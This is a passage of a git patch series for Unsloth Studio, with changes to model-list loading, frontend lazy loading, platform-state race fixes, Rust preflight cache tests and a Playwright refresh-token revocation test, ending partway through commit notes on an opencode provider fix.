@@ -108,13 +108,11 @@ class InferenceOrchestrator:
 
     @property
     def default_models(self) -> list[str]:
-        # Wait up to 5s for background HF fetch
-        self._top_models_ready.wait(timeout = 5)
         top_gguf = self._top_gguf_cache or []
         top_hub = self._top_hub_cache or []
-        # Curated static defaults first, then HF download-ranked to backfill.
-        # Send extras so the frontend keeps 4 per category after removing
-        # downloaded ones.
+        # Never wait for the remote Hugging Face ranking during startup. Chat's
+        # first /api/models/list needs curated defaults immediately; the
+        # background fetch backfills extra choices on later calls.
         result: list[str] = []
         seen: set[str] = set()
         for m in self._static_models + top_gguf + top_hub:
diff --git a/studio/backend/tests/test_inference_default_models_non_blocking.py b/studio/backend/tests/test_inference_default_models_non_blocking.py
new file mode 100644
index 0000000000..83a8e7bbfb
--- /dev/null
+++ b/studio/backend/tests/test_inference_default_models_non_blocking.py
@@ -0,0 +1,42 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Default Chat model metadata must not block on remote Hugging Face discovery."""
+
+from __future__ import annotations
+
+import sys
+import time
+from pathlib import Path
+
+_BACKEND = Path(__file__).resolve().parent.parent
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+from core.inference.orchestrator import InferenceOrchestrator  # noqa: E402
+
+
+def test_default_models_returns_static_defaults_before_top_fetch(monkeypatch):
+    sleep_seconds = 2.0
+
+    def _slow_fetch(self: InferenceOrchestrator) -> None:
+        time.sleep(sleep_seconds)
+        self._top_gguf_cache = ["unsloth/slow-GGUF"]
+        self._top_models_ready.set()
+
+    monkeypatch.setattr(InferenceOrchestrator, "_fetch_top_models", _slow_fetch)
+
+    orchestrator = InferenceOrchestrator()
+    started = time.monotonic()
+    defaults = orchestrator.default_models
+    elapsed = time.monotonic() - started
+
+    assert elapsed < 0.5, f"default_models blocked for {elapsed:.2f}s"
+    assert defaults == orchestrator._static_models
+    assert "unsloth/slow-GGUF" not in defaults
+
+    deadline = time.monotonic() + sleep_seconds + 5
+    while not orchestrator._top_models_ready.is_set() and time.monotonic() < deadline:
+        time.sleep(0.05)
+
+    assert "unsloth/slow-GGUF" in orchestrator.default_models
diff --git a/studio/frontend/src/components/app-sidebar.tsx b/studio/frontend/src/components/app-sidebar.tsx
index 2dd0d02515..f59a952b3a 100644
--- a/studio/frontend/src/components/app-sidebar.tsx
+++ b/studio/frontend/src/components/app-sidebar.tsx
@@ -81,11 +81,6 @@ import {
   TestTube01Icon,
   ZapIcon,
 } from "@hugeicons/core-free-icons";
-import {
-  exportConversationRawJsonl,
-  exportConversationCsv,
-  exportConversationShareGPT,
-} from "@/features/chat/prompt-storage/prompt-storage-dialog";
 import { listStoredChatThreads } from "@/features/chat/utils/chat-history-storage";
 import {
   Tooltip,
@@ -174,6 +169,36 @@ const TestTubeOutlineIcon = TestTube01Icon.slice(
   3,
 ) as typeof TestTube01Icon;
 
+
+type ConversationExportFormat = "raw-jsonl" | "csv" | "sharegpt-jsonl";
+
+const CHAT_EXPORT_OPTIONS: Array<{
+  label: string;
+  format: ConversationExportFormat;
+}> = [
+  { label: "Raw JSONL", format: "raw-jsonl" },
+  { label: "CSV", format: "csv" },
+  { label: "ShareGPT JSONL", format: "sharegpt-jsonl" },
+];
+
+async function exportConversationByFormat(
+  threadId: string,
+  format: ConversationExportFormat,
+): Promise<void> {
+  const exports = await import(
+    "@/features/chat/prompt-storage/prompt-storage-dialog"
+  );
+  switch (format) {
+    case "raw-jsonl":
+      return exports.exportConversationRawJsonl(threadId);
+    case "csv":
+      return exports.exportConversationCsv(threadId);
+    case "sharegpt-jsonl":
+      return exports.exportConversationShareGPT(threadId);
+  }
+}
+
+
 function runStatusDotClass(status: TrainingRunSummary["status"]): string {
   switch (status) {
     case "running":
@@ -899,11 +924,7 @@ export function AppSidebar() {
                 <span>Export</span>
               </DropdownMenuSubTrigger>
               <DropdownMenuSubContent sideOffset={8} alignOffset={-4} className="unsloth-plus-menu w-52">
-                {[
-                  { label: "Raw JSONL", fn: exportConversationRawJsonl },
-                  { label: "CSV", fn: exportConversationCsv },
-                  { label: "ShareGPT JSONL", fn: exportConversationShareGPT },
-                ].map(({ label, fn }) => (
+                {CHAT_EXPORT_OPTIONS.map(({ label, format }) => (
                   <DropdownMenuItem
                     key={label}
                     onSelect={async () => {
@@ -911,7 +932,9 @@ export function AppSidebar() {
                         const ids = item.type === "single"
                           ? [item.id]
                           : (await listStoredChatThreads({ pairId: item.id })).map((t) => t.id);
-                        await Promise.all(ids.map((id) => fn(id)));
+                        await Promise.all(
+                          ids.map((id) => exportConversationByFormat(id, format)),
+                        );
                       } catch {
                         toast.error("Export failed.");
                       }
diff --git a/studio/frontend/src/config/env.ts b/studio/frontend/src/config/env.ts
index def1b9bad9..63cdd03141 100644
--- a/studio/frontend/src/config/env.ts
+++ b/studio/frontend/src/config/env.ts
@@ -54,6 +54,17 @@ export const usePlatformStore = create<PlatformState>()((_, get) => ({
   isChatOnly: () => get().chatOnly,
 }));
 
+// Once an authoritative (server-reported) platform has been fetched, a
+// non-forced response must not overwrite it. The post-render fetchDeviceType()
+// in main.tsx runs before auth is ready and can resolve after the authed
+// root-route/provider fetches; such a late write would reset deviceType,
+// cloudflareUrl/serverUrl/secure, and fetched, whether it is a browser fallback
+// (unauthenticated) or an earlier authenticated request that landed after a
+// later forced refresh. Forced refreshes are explicit re-reads, so they still write.
+function shouldKeepAuthoritativePlatform(force?: boolean): boolean {
+  return !force && usePlatformStore.getState().fetched;
+}
+
 // `force` re-reads /api/health even if cached, to pick up a late-arriving tunnel URL.
 export async function fetchDeviceType(options?: {
   force?: boolean;
@@ -81,6 +92,15 @@ export async function fetchDeviceType(options?: {
         server_url?: string | null;
         secure?: boolean;
       };
+      // Once the store holds an authoritative (server-reported) platform, a
+      // non-forced response must not overwrite it. It may be an unauthenticated
+      // fallback, or an earlier authenticated request that resolved after a
+      // later forced refresh already picked up device_type and the tunnel
+      // fields; writing either would reset device type or null the tunnel
+      // fields. Forced refreshes are explicit re-reads, so they still write.
+      if (shouldKeepAuthoritativePlatform(options?.force)) {
+        return usePlatformStore.getState().deviceType;
+      }
       const deviceType = data.device_type ?? detectLocalPlatform();
       const chatOnly = data.chat_only ?? false;
       const chatOnlyReason = data.chat_only_reason ?? null;
@@ -101,7 +121,11 @@ export async function fetchDeviceType(options?: {
   } catch {
     // Backend not ready: use client-side detection so chat-only guard works
     // on initial load (important for macOS). Keep fetched=false so a later
-    // call retries against the backend.
+    // call retries against the backend. But a late non-forced failure must not
+    // wipe an authoritative platform that already resolved.
+    if (shouldKeepAuthoritativePlatform(options?.force)) {
+      return usePlatformStore.getState().deviceType;
+    }
     const deviceType = detectLocalPlatform();
     const chatOnly = deviceType === "mac";
     usePlatformStore.setState({ deviceType, chatOnly, fetched: false });
diff --git a/studio/frontend/src/features/chat/chat-page.tsx b/studio/frontend/src/features/chat/chat-page.tsx
index cd7cfc77fc..b155eff780 100644
--- a/studio/frontend/src/features/chat/chat-page.tsx
+++ b/studio/frontend/src/features/chat/chat-page.tsx
@@ -35,7 +35,6 @@ import {
   useNativeModelDrop,
   useNativePathLeasesSupported,
 } from "@/features/native-intents";
-import { ProjectSourcesPanel } from "@/features/rag/components/project-sources-panel";
 import { GuidedTour, useGuidedTourController } from "@/features/tour";
 import { isTauri } from "@/lib/api-base";
 import { toast } from "@/lib/toast";
@@ -51,7 +50,9 @@ import { Tooltip as TooltipPrimitive } from "radix-ui";
 import {
   type CSSProperties,
   type ReactElement,
+  lazy,
   memo,
+  Suspense,
   useCallback,
   useEffect,
   useMemo,
@@ -134,6 +135,13 @@ import {
 } from "./utils/chat-history-storage";
 import { isAssistantLocalThreadId } from "./utils/thread-ids";
 
+
+const ProjectSourcesPanel = lazy(() =>
+  import("@/features/rag/components/project-sources-panel").then((module) => ({
+    default: module.ProjectSourcesPanel,
+  })),
+);
+
 type LoraCandidate = {
   id: string;
   baseModel: string;
@@ -1018,7 +1026,15 @@ function ProjectLanding({
             </div>
 
             {projectTab === "sources" ? (
-              <ProjectSourcesPanel projectId={projectId} />
+              <Suspense
+                fallback={
+                  <div className="mt-8 rounded-[26px] bg-muted/30 px-6 py-10 text-center text-sm text-muted-foreground">
+                    Loading sources…
+                  </div>
+                }
+              >
+                <ProjectSourcesPanel projectId={projectId} />
+              </Suspense>
             ) : (
               <div className="mt-8 flex flex-col gap-1">
                 {items.map((item) => {
@@ -2246,12 +2262,29 @@ export function ChatPage({
     return [...fromLoras, ...localModels];
   }, [lorasFromStore, localModels]);
 
-  useEffect(() => {
-    if (getTrainingCompareHandoff()) return;
-    void refresh();
+  const inventoryRefreshStartedRef = useRef(false);
+  const refreshDeferredModelInventories = useCallback(() => {
+    inventoryRefreshStartedRef.current = true;
+    void refresh({ includeLoras: true });
     refreshLocalModels();
   }, [refresh, refreshLocalModels]);
 
+  useEffect(() => {
+    if (getTrainingCompareHandoff()) return;
+    void refresh({ includeLoras: false });
+    const timeoutId = window.setTimeout(() => {
+      if (!inventoryRefreshStartedRef.current) {
+        refreshDeferredModelInventories();
+      }
+    }, 1200);
+    return () => window.clearTimeout(timeoutId);
+  }, [refresh, refreshDeferredModelInventories]);
+
+  useEffect(() => {
+    if (!active || !modelSelectorOpen) return;
+    refreshDeferredModelInventories();
+  }, [active, modelSelectorOpen, refreshDeferredModelInventories]);
+
   useEffect(() => {
     // ChatPage no longer remounts on navigation, so re-check the handoff whenever
     // we return to /chat (e.g. from the training progress "compare in chat" action).
diff --git a/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts b/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
index e23d1b0b33..798c1658f9 100644
--- a/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
+++ b/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
@@ -312,14 +312,18 @@ export function useChatModelRuntime() {
     [],
   );
 
-  const refresh = useCallback(async (options?: { signal?: AbortSignal }) => {
+  const refresh = useCallback(async (options?: {
+    signal?: AbortSignal;
+    includeLoras?: boolean;
+  }) => {
     const signal = options?.signal;
+    const includeLoras = options?.includeLoras ?? true;
     setModelsError(null);
     try {
       const [listRes, statusRes, lorasRes] = await Promise.all([
         listModels(),
         getInferenceStatus(),
-        listLoras(),
+        includeLoras ? listLoras() : Promise.resolve(null),
       ]);
 
       // Cancellation can land while the requests above are in flight. Bail
@@ -327,7 +331,9 @@ export function useChatModelRuntime() {
       if (signal?.aborted) return;
 
       setModels(listRes.models.map(toChatModelSummary));
-      setLoras(lorasRes.loras.map(toLoraSummary));
+      if (lorasRes) {
+        setLoras(lorasRes.loras.map(toLoraSummary));
+      }
 
       const selectedCheckpoint = useChatRuntimeStore.getState().params.checkpoint;
       const isExternalSelectionActive = isExternalModelId(selectedCheckpoint);
diff --git a/studio/frontend/src/features/chat/runtime-provider.tsx b/studio/frontend/src/features/chat/runtime-provider.tsx
index 67980b94c6..b545695f9e 100644
--- a/studio/frontend/src/features/chat/runtime-provider.tsx
+++ b/studio/frontend/src/features/chat/runtime-provider.tsx
@@ -22,7 +22,6 @@ import {
   unstable_useRemoteThreadListRuntime as useRemoteThreadListRuntime,
 } from "@assistant-ui/react";
 import { createAssistantStream } from "assistant-stream";
-import mammoth from "mammoth";
 import {
   type ReactElement,
   type ReactNode,
@@ -33,7 +32,6 @@ import {
   useMemo,
   useRef,
 } from "react";
-import { extractText, getDocumentProxy } from "unpdf";
 import { toast } from "sonner";
 import { StudioWebSpeechDictationAdapter } from "./adapters/studio-web-speech-dictation-adapter";
 import {
@@ -181,7 +179,10 @@ class PDFAttachmentAdapter implements AttachmentAdapter {
   }
 
   async send(attachment: PendingAttachment): Promise<CompleteAttachment> {
-    const buffer = new Uint8Array(await attachment.file.arrayBuffer());
+    const [{ extractText, getDocumentProxy }, buffer] = await Promise.all([
+      import("unpdf"),
+      attachment.file.arrayBuffer().then((bytes) => new Uint8Array(bytes)),
+    ]);
     const pdf = await getDocumentProxy(buffer);
     const { text } = await extractText(pdf, { mergePages: true });
     return {
@@ -298,7 +299,10 @@ class DocxAttachmentAdapter implements AttachmentAdapter {
   }
 
   async send(attachment: PendingAttachment): Promise<CompleteAttachment> {
-    const arrayBuffer = await attachment.file.arrayBuffer();
+    const [{ default: mammoth }, arrayBuffer] = await Promise.all([
+      import("mammoth"),
+      attachment.file.arrayBuffer(),
+    ]);
     const { value } = await mammoth.extractRawText({ arrayBuffer });
     return {
       id: attachment.id,
diff --git a/studio/frontend/src/main.tsx b/studio/frontend/src/main.tsx
index 0922e764bb..d0ddf2fc6e 100644
--- a/studio/frontend/src/main.tsx
+++ b/studio/frontend/src/main.tsx
@@ -5,8 +5,8 @@ import { StrictMode } from "react";
 import { createRoot } from "react-dom/client";
 
 import "./index.css";
-import { fetchDeviceType } from "./config/env";
 import { App } from "./app/app";
+import { fetchDeviceType } from "./config/env";
 import { initializeLocale } from "./i18n";
 
 const globalCrypto = globalThis.crypto as Crypto | undefined;
@@ -36,10 +36,10 @@ if (!rootElement) {
 
 initializeLocale();
 
-fetchDeviceType().then(() => {
-  createRoot(rootElement).render(
-    <StrictMode>
-      <App />
-    </StrictMode>,
-  );
-});
+createRoot(rootElement).render(
+  <StrictMode>
+    <App />
+  </StrictMode>,
+);
+
+fetchDeviceType().catch(() => undefined);
diff --git a/studio/src-tauri/src/preflight.rs b/studio/src-tauri/src/preflight.rs
index 5a48d26632..7ef5244754 100644
--- a/studio/src-tauri/src/preflight.rs
+++ b/studio/src-tauri/src/preflight.rs
@@ -498,19 +498,68 @@ mod tests {
     }
 
     #[cfg(unix)]
-    fn remove_managed_capability_cache() {
-        let _ = std::fs::remove_file(
-            dirs::home_dir()
+    static MANAGED_CAPABILITY_CACHE_TEST_LOCK: std::sync::LazyLock<tokio::sync::Mutex<()>> =
+        std::sync::LazyLock::new(|| tokio::sync::Mutex::new(()));
+
+    #[cfg(unix)]
+    struct ManagedCapabilityCacheHome {
+        path: PathBuf,
+        previous: Option<std::ffi::OsString>,
+    }
+
+    #[cfg(unix)]
+    impl ManagedCapabilityCacheHome {
+        fn new(test_name: &str) -> Self {
+            use std::time::{SystemTime, UNIX_EPOCH};
+
+            let nanos = SystemTime::now()
+                .duration_since(UNIX_EPOCH)
                 .unwrap()
-                .join(".unsloth")
-                .join("studio")
-                .join("desktop_capability_cache.json"),
-        );
+                .as_nanos();
+            let path = std::env::temp_dir().join(format!(
+                "unsloth-preflight-cache-{test_name}-{}-{nanos}",
+                std::process::id()
+            ));
+            std::fs::create_dir_all(&path).unwrap();
+            let previous = std::env::var_os("UNSLOTH_TEST_DESKTOP_CAPABILITY_CACHE_HOME");
+            std::env::set_var("UNSLOTH_TEST_DESKTOP_CAPABILITY_CACHE_HOME", &path);
+            Self { path, previous }
+        }
+    }
+
+    #[cfg(unix)]
+    impl Drop for ManagedCapabilityCacheHome {
+        fn drop(&mut self) {
+            if let Some(previous) = &self.previous {
+                std::env::set_var("UNSLOTH_TEST_DESKTOP_CAPABILITY_CACHE_HOME", previous);
+            } else {
+                std::env::remove_var("UNSLOTH_TEST_DESKTOP_CAPABILITY_CACHE_HOME");
+            }
+            let _ = std::fs::remove_dir_all(&self.path);
+        }
+    }
+
+    #[cfg(unix)]
+    fn managed_capability_cache_path_for_test() -> PathBuf {
+        std::env::var_os("UNSLOTH_TEST_DESKTOP_CAPABILITY_CACHE_HOME")
+            .map(PathBuf::from)
+            .or_else(dirs::home_dir)
+            .unwrap()
+            .join(".unsloth")
+            .join("studio")
+            .join("desktop_capability_cache.json")
+    }
+
+    #[cfg(unix)]
+    fn remove_managed_capability_cache() {
+        let _ = std::fs::remove_file(managed_capability_cache_path_for_test());
     }
 
     #[cfg(unix)]
     #[tokio::test]
     async fn managed_cli_capability_probe_classifies_core_cases() {
+        let _cache_guard = MANAGED_CAPABILITY_CACHE_TEST_LOCK.lock().await;
+        let _cache_home = ManagedCapabilityCacheHome::new("core-cases");
         remove_managed_capability_cache();
 
         for (name, script, stale_reason) in [
@@ -567,6 +616,75 @@ exit 1
         }
     }
 
+    #[cfg(unix)]
+    #[tokio::test]
+    async fn managed_cli_capability_help_probe_runs_before_cache() {
+        use std::fs;
+
+        let _cache_guard = MANAGED_CAPABILITY_CACHE_TEST_LOCK.lock().await;
+        let _cache_home = ManagedCapabilityCacheHome::new("cache-hit");
+
+        remove_managed_capability_cache();
+        // `-h` always succeeds unless `modeh` exists; the desktop-capabilities
+        // probe always succeeds unless `modecap` exists. Toggling those lets us
+        // prove the ordering: -h runs on every probe (even a cache hit), while
+        // the heavier capability probe is skipped once the cache is warm.
+        let fake = fake_cli(
+            "cap-cache-hit",
+            r#"#!/bin/sh
+log="$0.calls"
+modeh="$0.modeh"
+modecap="$0.modecap"
+printf '%s\n' "$*" >> "$log"
+if [ "$1" = "-h" ]; then
+  if [ -f "$modeh" ]; then exit 42; fi
+  exit 0
+fi
+if [ "$1" = "studio" ] && [ "$2" = "desktop-capabilities" ] && [ "$3" = "--json" ]; then
+  if [ -f "$modecap" ]; then exit 42; fi
+  printf '{"desktop_protocol_version":1,"desktop_manageability_version":1,"supports_api_only":true,"supports_provision_desktop_auth":true,"supports_desktop_backend_ownership":true,"version":"2026.5.3"}'
+  exit 0
+fi
+exit 1
+"#,
+        );
+        let bin = fake.bin.clone();
+        let calls = bin.with_extension("calls");
+        let modeh = bin.with_extension("modeh");
+        let modecap = bin.with_extension("modecap");
+
+        // Cold probe: runs -h and the capability probe, then caches the result.
+        assert!(matches!(
+            probe_managed_bin(bin.clone()).await,
+            ManagedProbe::Ready { .. }
+        ));
+        let first_calls = fs::read_to_string(&calls).unwrap();
+        assert!(first_calls.contains("-h"));
+        assert!(first_calls.contains("studio desktop-capabilities --json"));
+
+        // Cache hit: -h still runs, but the capability probe is skipped (breaking
+        // it via `modecap` proves it is not invoked).
+        fs::write(&modecap, "broken").unwrap();
+        fs::write(&calls, "").unwrap();
+        assert!(matches!(
+            probe_managed_bin(bin.clone()).await,
+            ManagedProbe::Ready { .. }
+        ));
+        assert_eq!(fs::read_to_string(&calls).unwrap(), "-h\n");
+
+        // A non-launchable CLI is caught by the -h probe even with a warm cache:
+        // preflight reports Stale (for repair) and never trusts the cache.
+        fs::write(&modeh, "broken").unwrap();
+        fs::write(&calls, "").unwrap();
+        assert!(matches!(
+            probe_managed_bin(bin).await,
+            ManagedProbe::Stale { .. }
+        ));
+        assert_eq!(fs::read_to_string(&calls).unwrap(), "-h\n");
+
+        remove_managed_capability_cache();
+    }
+
     const EXPECTED_ROOT_ID: &str =
         "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
     const OTHER_ROOT_ID: &str = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";
diff --git a/studio/src-tauri/src/preflight/managed.rs b/studio/src-tauri/src/preflight/managed.rs
index 57b8365ec5..0d20f271c5 100644
--- a/studio/src-tauri/src/preflight/managed.rs
+++ b/studio/src-tauri/src/preflight/managed.rs
@@ -188,6 +188,16 @@ fn managed_bin_fingerprint(bin: &Path) -> Option<ManagedBinFingerprint> {
 }
 
 fn capability_cache_path() -> Option<PathBuf> {
+    #[cfg(test)]
+    if let Some(home) = std::env::var_os("UNSLOTH_TEST_DESKTOP_CAPABILITY_CACHE_HOME") {
+        return Some(
+            PathBuf::from(home)
+                .join(".unsloth")
+                .join("studio")
+                .join("desktop_capability_cache.json"),
+        );
+    }
+
     dirs::home_dir().map(|home| {
         home.join(".unsloth")
             .join("studio")
@@ -400,6 +410,12 @@ fn desktop_capability_ready(capability: &DesktopCapability) -> bool {
 
 pub(super) async fn probe_managed_bin(bin: PathBuf) -> ManagedProbe {
     let started = Instant::now();
+    // Always verify the managed CLI actually launches before trusting the cache.
+    // A matching capability fingerprint does not prove the binary can still run:
+    // its venv interpreter or a runtime dependency can be broken while the
+    // path/size/mtime/markers are unchanged, so the -h probe runs first and a
+    // non-launchable install is reported Stale for repair. The capability cache
+    // below still skips the heavier desktop-capabilities probe on a hit.
     if !run_cli_probe(&bin, &["-h"]).await {
         info!(
             "Managed preflight: cli unusable for {:?} in {}ms",

From e7e6a0fb475963e9747358e84cb0a22994c1a54a Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Wed, 8 Jul 2026 01:50:35 -0700
Subject: [PATCH 246/306] Polish assistant message actions menu (#6962)

* Polish assistant message actions menu

Use the circle question mark (HelpCircleIcon) for the "See response
details" action instead of the file-database icon, and lowercase the
"Export as markdown" label.

* Align response details sheet icon
---
 .../assistant-ui/message-response-details-sheet.tsx          | 4 ++--
 studio/frontend/src/components/assistant-ui/thread.tsx       | 5 +++--
 2 files changed, 5 insertions(+), 4 deletions(-)

diff --git a/studio/frontend/src/components/assistant-ui/message-response-details-sheet.tsx b/studio/frontend/src/components/assistant-ui/message-response-details-sheet.tsx
index 823696693a..331a06a4c6 100644
--- a/studio/frontend/src/components/assistant-ui/message-response-details-sheet.tsx
+++ b/studio/frontend/src/components/assistant-ui/message-response-details-sheet.tsx
@@ -18,7 +18,7 @@ import {
   useExternalProvidersStore,
 } from "@/features/chat";
 import { cn } from "@/lib/utils";
-import { FileDatabaseIcon } from "@hugeicons/core-free-icons";
+import { HelpCircleIcon } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { useMessage, useMessageTiming } from "@assistant-ui/react";
 import type { FC, ReactNode } from "react";
@@ -341,7 +341,7 @@ export const MessageResponseDetailsSheet: FC<{
         <SheetHeader className="border-b p-4">
           <SheetTitle className="flex items-center gap-2 pr-10 font-heading text-base">
             <HugeiconsIcon
-              icon={FileDatabaseIcon}
+              icon={HelpCircleIcon}
               strokeWidth={1.75}
               className="size-icon text-chat-icon-fg"
             />
diff --git a/studio/frontend/src/components/assistant-ui/thread.tsx b/studio/frontend/src/components/assistant-ui/thread.tsx
index 09551cd413..d987092c48 100644
--- a/studio/frontend/src/components/assistant-ui/thread.tsx
+++ b/studio/frontend/src/components/assistant-ui/thread.tsx
@@ -127,6 +127,7 @@ import {
   FileDatabaseIcon,
   Folder01Icon,
   FolderAddIcon,
+  HelpCircleIcon,
   Image03Icon,
   McpServerIcon,
   PencilRulerIcon,
@@ -3952,7 +3953,7 @@ const AssistantActionBar: FC = () => {
                   strokeWidth={1.75}
                   className="size-icon"
                 />
-                Export as Markdown
+                Export as markdown
               </ActionBarMorePrimitive.Item>
             </ActionBarPrimitive.ExportMarkdown>
             <ActionBarMorePrimitive.Item
@@ -3960,7 +3961,7 @@ const AssistantActionBar: FC = () => {
               className="aui-action-bar-more-item flex cursor-pointer select-none items-center gap-2 rounded-[12px] px-3 py-2 text-sm outline-none hover:bg-accent hover:text-accent-foreground focus:bg-accent focus:text-accent-foreground"
             >
               <HugeiconsIcon
-                icon={FileDatabaseIcon}
+                icon={HelpCircleIcon}
                 strokeWidth={1.75}
                 className="size-icon"
               />

From 7f9964f21ed540fdf1ecc1549947bfa5353e6127 Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Wed, 8 Jul 2026 01:51:34 -0700
Subject: [PATCH 247/306] Move New badge to System settings tab (#6963)

* Move New badge to System settings tab

Show the "New" badge on the System tab and drop it from Connections.

* Stabilize refresh revocation UI test

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 .../src/features/settings/settings-dialog.tsx |  2 +-
 tests/studio/playwright_chat_ui.py            | 58 ++++++++++++++++---
 2 files changed, 50 insertions(+), 10 deletions(-)

diff --git a/studio/frontend/src/features/settings/settings-dialog.tsx b/studio/frontend/src/features/settings/settings-dialog.tsx
index 0d201edc0d..d8a0d45d3f 100644
--- a/studio/frontend/src/features/settings/settings-dialog.tsx
+++ b/studio/frontend/src/features/settings/settings-dialog.tsx
@@ -56,6 +56,7 @@ const TABS: TabDef[] = [
     id: "resources",
     labelKey: "settings.tabs.resources",
     icon: CpuIcon,
+    badgeKey: "common.new",
   },
   {
     id: "chat",
@@ -72,7 +73,6 @@ const TABS: TabDef[] = [
     id: "connections",
     labelKey: "settings.tabs.connections",
     icon: CloudIcon,
-    badgeKey: "common.new",
   },
   { id: "about", labelKey: "settings.tabs.about", icon: HelpCircleIcon },
 ];
diff --git a/tests/studio/playwright_chat_ui.py b/tests/studio/playwright_chat_ui.py
index a53534acc0..71297f9043 100644
--- a/tests/studio/playwright_chat_ui.py
+++ b/tests/studio/playwright_chat_ui.py
@@ -380,6 +380,18 @@ with sync_playwright() as p:
                 fail(f"/api/auth/refresh wedged: {refresh_resp['error']!r}")
             refresh = refresh_resp.get("body") or {}
             token = (refresh or {}).get("access_token")
+            next_refresh_token = (refresh or {}).get("refresh_token")
+            if token and next_refresh_token:
+                robust_evaluate(
+                    page,
+                    """([accessToken, refreshToken]) => {
+                        localStorage.setItem('unsloth_auth_token', accessToken);
+                        localStorage.setItem('unsloth_auth_refresh_token', refreshToken);
+                    }""",
+                    [token, next_refresh_token],
+                )
+            elif token:
+                fail("/api/auth/refresh returned access_token but no refresh_token")
     if not token:
         fail("could not obtain auth token after change-password")
 
@@ -1169,6 +1181,13 @@ with sync_playwright() as p:
         fail(f"curl login returned no access_token: {login_body!r}")
     info("CLI obtained an access token")
 
+    browser_refresh_token = robust_evaluate(
+        page,
+        "() => localStorage.getItem('unsloth_auth_refresh_token')",
+    )
+    if not browser_refresh_token:
+        fail("browser refresh token missing before CLI rotation")
+
     change_proc = subprocess.run(
         [
             "curl",
@@ -1203,18 +1222,39 @@ with sync_playwright() as p:
 
     # /change-password revoked refresh tokens server-side (auth.py), so
     # the browser's /api/auth/refresh must now fail.
-    refresh_after = evaluate_fetch(
-        page,
-        f"{BASE}/api/auth/refresh",
-        method = "POST",
-        timeout_ms = FETCH_TIMEOUT_MS,
+    refresh_proc = subprocess.run(
+        [
+            "curl",
+            "-sS",
+            "-o",
+            os.devnull,
+            "-w",
+            "%{http_code}",
+            "-X",
+            "POST",
+            f"{BASE}/api/auth/refresh",
+            "-H",
+            "Content-Type: application/json",
+            "-d",
+            json.dumps({"refresh_token": browser_refresh_token}),
+        ],
+        capture_output = True,
+        text = True,
+        timeout = 15,
     )
-    if refresh_after.get("error"):
-        fail(f"/api/auth/refresh wedged: {refresh_after['error']!r}")
-    if refresh_after["status"] == 200:
+    if refresh_proc.returncode != 0:
+        fail(
+            f"curl refresh-token check failed: rc={refresh_proc.returncode} "
+            f"stderr={refresh_proc.stderr!r} stdout={refresh_proc.stdout!r}"
+        )
+    try:
+        refresh_status = int(refresh_proc.stdout.strip())
+    except ValueError:
+        fail(f"curl refresh-token check returned invalid status: " f"{refresh_proc.stdout!r}")
+    if refresh_status == 200:
         fail(f"/api/auth/refresh should fail after CLI rotation; got 200")
     info(
-        f"OK browser /api/auth/refresh now {refresh_after['status']} "
+        f"OK browser /api/auth/refresh now {refresh_status} "
         "(refresh token revoked) -- old studio session can no longer renew"
     )
 

From 393d7e9c2b48b928126008399b0c9443af8a9ec7 Mon Sep 17 00:00:00 2001
From: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Date: Wed, 8 Jul 2026 10:22:36 +0100
Subject: [PATCH 248/306] Fix opencode Unsloth provider selection (#6906)

* fix: force Unsloth provider selection for opencode

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* opencode: pin the model without clobbering the user's disabled providers

The session overlay wrote disabled_providers unconditionally and the inline
OPENCODE_CONFIG_CONTENT set disabled_providers to an empty list. Since that
inline layer outranks the user's global and project config and opencode
replaces the array rather than merging it, every provider the user had
disabled was silently re-enabled for the session. Only strip 'unsloth' from an
existing disable list, and drop disabled_providers from the inline config.

Also insert --model only on a bare launch: it is a global flag for the TUI, so
placing it before a passthrough subcommand (serve/run) breaks arg parsing; a
subcommand takes the model from the pinned config instead. Parse the printed
OPENCODE_CONFIG_CONTENT with shlex.split in the test so it round-trips under
POSIX shell quoting.

* Re-enable a globally disabled opencode unsloth provider for the session

A fresh OPENCODE_CONFIG overlay omits disabled_providers, and opencode
replaces that array across config layers only when a higher layer sets the
key, so a user's global disabled_providers of ['unsloth', ...] survived the
merge and left the session provider disabled even though the overlay defines
provider.unsloth and pins the model.

Consult the user's global opencode config (XDG_CONFIG_HOME/opencode, or
%APPDATA%/opencode on Windows) when the overlay has no list of its own, and
when the effective list disables unsloth write it back to the overlay minus
unsloth. The provider loads while the user's other disabled providers stay
disabled. Best-effort read: a missing or unparseable global config is a
no-op.

* Override opencode disabled_providers in the inline layer; keep model flag for TUI flags

Re-enabling a disabled unsloth provider now rides in the inline
OPENCODE_CONFIG_CONTENT layer instead of the session overlay. The overlay
sits below a project opencode.json, which could re-disable the provider; the
inline layer outranks both global and project configs and is recomputed each
run, so no-launch reruns never reuse a stale generated list. The effective
disabled list is read from the project config if the repo sets one, else the
global config, across config.json/opencode.json/opencode.jsonc (JSONC
tolerated), and written back minus unsloth only when unsloth is disabled.

Also keep the pinned --model when the opencode passthrough starts with a
top-level TUI flag such as --dir or --continue; only a real subcommand
(serve/run/...) takes the model from config, so a leading '-' now still gets
--model injected.

* Discover the opencode project config by walking up from the cwd

opencode finds a project config by searching ancestor directories, not just
the cwd. Walk from the cwd up to the filesystem root and use the nearest
directory that sets disabled_providers, so running unsloth start opencode
from a subdirectory of a repo whose root config disables unsloth still gets
the inline override.

* Only inject opencode --model on a bare launch; rely on the inline model pin

